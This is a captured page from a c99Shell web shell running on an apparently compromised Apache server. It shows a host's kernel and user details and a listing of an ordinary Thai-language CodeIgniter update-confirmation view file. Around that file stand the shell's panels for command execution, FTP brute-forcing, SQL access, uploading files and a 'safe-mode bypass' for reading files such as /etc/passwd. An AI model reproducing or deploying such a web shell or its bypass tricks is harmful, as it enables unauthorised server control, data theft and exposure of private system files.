!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/cvc/application/views/version/   drwxr-xr-x
Free 50.65 GB of 127.8 GB (39.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_confirm_update.php (4.27 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<div><h3>ยืนยันการอัพเดทระบบ</h3></div>
<p>&nbsp;</p>
<?php 
    
if(isset($flag) && $flag == 4)
    {
        echo 
form_open($this->config->item('ver_folder').'updateversion/install_pkg');
    } else {
        echo 
form_open($this->config->item('ver_folder').'updateversion/chk_path');
    }
?>
            
<table class="ver_table" style="width:100%;">
    <thead>
        <tr>
            <th>ลำดับที่</th>
            <th>วันที่ดาวน์โหลด</th>
            <th>เวอร์ชันแพคเกจ</th>
            <th>ชื่อระบบ</th>
            <th>ชื่อไฟล์</th>
            <th>ขนาดไฟล์ (KB)</th>
            <th>Path</th>
        </tr>
    </thead>
    <tbody>
<?php
    
if(isset($flag) && $flag != 0)
    {
        if(isset(
$file_download))
        {
            
$i 1;
            foreach(
$file_download->result() as $row){
?>
                <tr>
                    <td class="ver_center" width="5%"><?php echo $i++;?></td>
                    <td class="ver_center" width="15%"><?php echo abbreDate(splitDateDb2($row->pkg_download_date));?></td>
                    <td class="ver_center" width="15%"><?php echo $row->pkg_version;?></td>
                    <td width="15%"><?php echo $row->csys_th_name;?></td>
                    <td width="15%"><?php echo $row->file_org_name;?></td>
                    <td class="ver_center" width="10%"><?php echo $row->file_size;?></td>
                    <td width="35%"><?php echo ' '.$ag_path.$row->file_path;?></td>
                    <input type= "hidden" name="path[]" value="<?php echo ' '.$ag_path.$row->file_path?>"/>
                    <input type= "hidden" name="pkg_id[]" value="<?php echo $row->file_pkg_id?>"/>
                    <!--<td class="ver_center">
                    <?php
                        
/*if($row->pkg_download_status == '2'){
                            echo "<img src=".base_url().'images/right.jpg'.">";
                        }*/ 
                    
?>
                    </td>-->
                </tr>
    <?php    }    ?>
                
    <?php
        
}
        else 
        {
    
?>
                <tr>
                    <td class="ver_center" colspan="7"><span class="ver_error"><?php echo $this->config->item('ver_not_found');?></span></td>
                </tr>
    <?php
        
}
    
?>
    </tbody>
</table>
<div align="center">
    <!--<input type="button" id="btnChkDir" name="btnChkDir" value="ตรวจสอบ path ที่ต้องการอัพเดท" onClick="sendPost('hidform', {'path':jQuery('.path').text()},' <?php //echo site_url($this->config->item('ver_folder').'updateversion/chk_path');?>', {'scrollbars':1})" />-->
    <br /><br />
    <input type= "submit" name="btnInstall" id="btnInstall" value="ยืนยันการอัพเดท" />
</div>
<?php 
    
echo form_close(); 
    
    } else {
        
$msg "เกิดข้อผิดพลาดในการดาวน์โหลด กรุณาตรวจสอบการอัพเดทใหม่อีกครั้ง";
        echo 
'<script type="text/javascript">alert("' $msg '"); </script>';
?>
                <tr>
                    <td class="ver_center" colspan="7"><span class="ver_error"><?php echo $this->config->item('ver_not_found');?></span></td>
                </tr>
            </tbody>
        </table>
        <p>&nbsp;</p>
        <div align="center"><a href="<?php echo site_url().$this->config->item('ver_folder').'updateversion/chk_update'?>"><button>กลับสู่หน้าเริ่มต้น</button></a></div>
<?php
    
}
    
    if(isset(
$flag) && $flag == 2) {
        
$msg "ไม่พบ path '".$ag_path."' กรุณาสร้าง Path ดังกล่าวก่อนอัพเดทระบบ";
        echo 
'<script type="text/javascript">alert("' $msg '"); </script>';
    } else if(isset(
$flag) && $flag == 3) {
        
$msg "กรุณาตรวจสอบ Group, Owner ของ path ที่ต้องการอัพเดท";
        
//$msg .= "ข้อแนะนำ : ควรเปลี่ยน Group และ Owner เป็นตามที่ server กำหนดไว้";
        
echo '<script type="text/javascript">alert("' $msg '"); </script>';
    } else if(isset(
$flag) && $flag == 4) {
        
$msg "ตรวจสอบ Path ที่ต้องการอัพเดทเรียบร้อย กรุณาคลิกที่ปุ่ม ยืนยันการอัพเดท อีกครั้ง";
        echo 
'<script type="text/javascript">alert("' $msg '"); </script>';
    } 
/*else {
        $msg = "มีข้อผิดพลาดเกิดขึ้น กรุณาติดต่อผู้ดูแลระบบ";
        echo '<script type="text/javascript">alert("' . $msg . '"); </script>';
    }*/
?>
<p>&nbsp;</p>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0062 ]--